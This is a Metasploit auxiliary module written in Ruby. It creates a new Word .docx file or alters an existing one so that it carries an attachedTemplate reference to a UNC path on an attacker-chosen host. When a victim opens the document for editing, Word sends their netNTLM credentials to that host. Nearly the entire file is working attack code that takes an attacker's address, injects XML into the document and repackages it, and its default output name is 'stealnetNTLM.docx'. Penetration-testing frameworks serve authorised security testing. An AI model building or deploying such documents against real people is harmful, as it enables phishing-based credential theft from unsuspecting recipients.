metasploit-framework/modules/auxiliary/docx/word_unc_injector.rb

294 lines
9.5 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://Metasploit.com/projects/Framework/
##
require 'msf/core'
require 'zip/zip' #for extracting files
require 'rex/zip' #for creating files
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Word UNC Path Injector',
'Description' => %q{
This module modifies a .docx file that will, upon opening, submit all
stored netNTLM credentials to a remote host. It can also create an empty docx file.
If emailed the receiver needs to put the document in editing mode
before the remote server will be contacted. Preview and read-only
mode do not work. Verified to work with Microsoft Word 2003,
2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb
},
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://jedicorp.com/?p=534' ],
],
'Author' =>
[
'SphaZ <cyberphaz[at]gmail.com>'
]
))
register_options(
[
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']),
OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']),
OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']),
OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']),
], self.class)
end
#here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
def makeNewFile
metadataFileData = ""
metadataFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
metadataFileData << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
metadataFileData << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
metadataFileData << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
metadataFileData << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
metadataFileData << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
metadataFileData << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
#where to find the skeleton files required for creating an empty document
dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx")
tmpDir = "#{Dir.tmpdir}/unc_tmp"
#setup temporary directory structure
begin
cleanupTmp(tmpDir)
FileUtils.mkdir_p("#{tmpDir}/docProps/")
FileUtils.mkdir_p("#{tmpDir}/word/_rels/")
rescue
print_error("Error generating temp directory structure.")
return nil
end
#here we store our on-the-fly created files
begin
f = File.open("#{tmpDir}/docProps/core.xml", 'wb')
f.write(metadataFileData)
f.close()
f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb')
f.write(@relsFileData)
f.close()
rescue
print_error("Cant write to temp file.")
cleanupTmp(tmpDir)
return nil
end
#making the actual docx
begin
docx = Rex::Zip::Archive.new
#add skeleton files
vprint_status("Adding skeleton files from #{dataDir}")
Dir["#{dataDir}/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub(dataDir,''), File.read(file))
end
end
#add on-the-fly created documents
vprint_status("Adding injected files")
Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file))
end
end
#add the otherwise skipped "hidden" file
file = "#{dataDir}/_rels/.rels"
docx.add_file(file.sub(dataDir,''), File.read(file))
file_create(docx.pack)
rescue
print_error("Error creating empty document #{datastore['FILENAME']}")
cleanupTmp(tmpDir)
return nil
end
cleanupTmp(tmpDir)
return 0
end
#cleaning up of temporary files. If it fails we say so, but continue anyway
def cleanupTmp(dir)
begin
FileUtils.rm_rf(dir)
rescue
print_error("Error cleaning up tmp directory structure.")
end
end
#here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulateFile
#where do we unpack our source file?
tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
if File.exists?(datastore['SOURCE'])
if not File.stat(datastore['SOURCE']).readable?
print_error("Not enough rights to read the file. Aborting.")
return nil
end
#lets extract our docx
if unzipDocx(tmpDir).nil?
return nil
end
fileContent = File.read("#{tmpDir}/word/settings.xml")
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
#we put just our rels file into the docx
if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil?
return nil
end
# lets zip the end result
if zipDocx(tmpDir).nil?
return nil
end
else
#now insert the reference to the file that will enable our malicious entry
insertOne = fileContent.index("<w:defaultTabStop")
if insertOne.nil?
insertTwo = fileContent.index("<w:hyphenationZone") # 2nd choice
if not insertTwo.nil?
vprint_status("HypenationZone found, we use this for insertion.")
fileContent.insert(insertTwo, ref )
end
else
vprint_status("DefaultTabStop found, we use this for insertion.")
fileContent.insert(insertOne, ref )
end
if insertOne.nil? && insertTwo.nil?
print_error("Cannot find insert point for reference into settings.xml")
cleanupTmp(tmpDir)
return nil
end
#lets extract our docx
if unzipDocx(tmpDir).nil?
return nil
end
#update the files that contain the injection and reference
if updateDocxFile(tmpDir, "word/settings.xml",fileContent).nil?
print_error("Error inserting data into word/settings.xml")
return nil
end
if updateDocxFile(tmpDir, "word/_rels/settings.xml.rels", @relsFileData).nil?
print_error("Eror inserting data into word/_rels/settings.xml.rels")
return nil
end
#lets zip the file
if zipDocx(tmpDir).nil?
return nil
end
end
else
print_error("File #{datastore['SOURCE']} does not exist.")
return nil
end
cleanupTmp(tmpDir)
return 0
end
#making the actual docx
def zipDocx(tmpDir)
begin
docx = Rex::Zip::Archive.new
#add skeleton files
vprint_status("Adding files from #{tmpDir}")
Dir["#{tmpDir}/**/**"].each do |file|
if not File.directory?(file)
docx.add_file(file.sub(tmpDir,''), File.read(file))
end
end
#add the otherwise skipped "hidden" file
file = "#{tmpDir}/_rels/.rels"
docx.add_file(file.sub(tmpDir,''), File.read(file))
file_create(docx.pack)
rescue
print_error("Error creating compressed document #{datastore['FILENAME']}")
cleanupTmp(tmpDir)
return nil
end
end
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
def unzipDocx(tmpDir)
begin
if not File.directory?(tmpDir)
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{datastore['SOURCE']}")
Zip::ZipFile.open(datastore['SOURCE']) do |fileZip|
fileZip.each do |entry|
fpath = File.join(tmpDir, entry.name)
FileUtils.mkdir_p(File.dirname(fpath))
fileZip.extract(entry, fpath)
end
end
end
rescue
print_error("There was an error unzipping.")
cleanupTmp(tmpDir)
return nil
end
return 0
end
#used for updating the files inside the docx from a string
def updateDocxFile(tmpDir,fileString, content)
begin
archive = File.join(tmpDir, fileString)
vprint_status("We need to look for: #{archive}")
if File.exists?(archive)
vprint_status("Deleting original file #{archive}")
File.delete(archive)
end
File.open(archive, 'wb+') { |f| f.write(content) }
rescue Exception => ex
print_error("Well, extracting and manipulating the file went wrong :(")
cleanupTmp(tmpDir)
return nil
end
return 0
end
def run
#we need this in makeNewFile and manipulateFile
@relsFileData = ""
@relsFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
@relsFileData << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
@relsFileData << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
@relsFileData << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
if "#{datastore['SOURCE']}" == ""
#make an empty file
print_status("Creating empty document")
if not makeNewFile.nil?
print_good("Success! Empty document #{datastore['FILENAME']} created.")
end
else
#extract the word/settings.xml and edit in the reference we need
print_status("Injecting UNC path into existing document.")
if not manipulateFile.nil?
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
end
end
end
end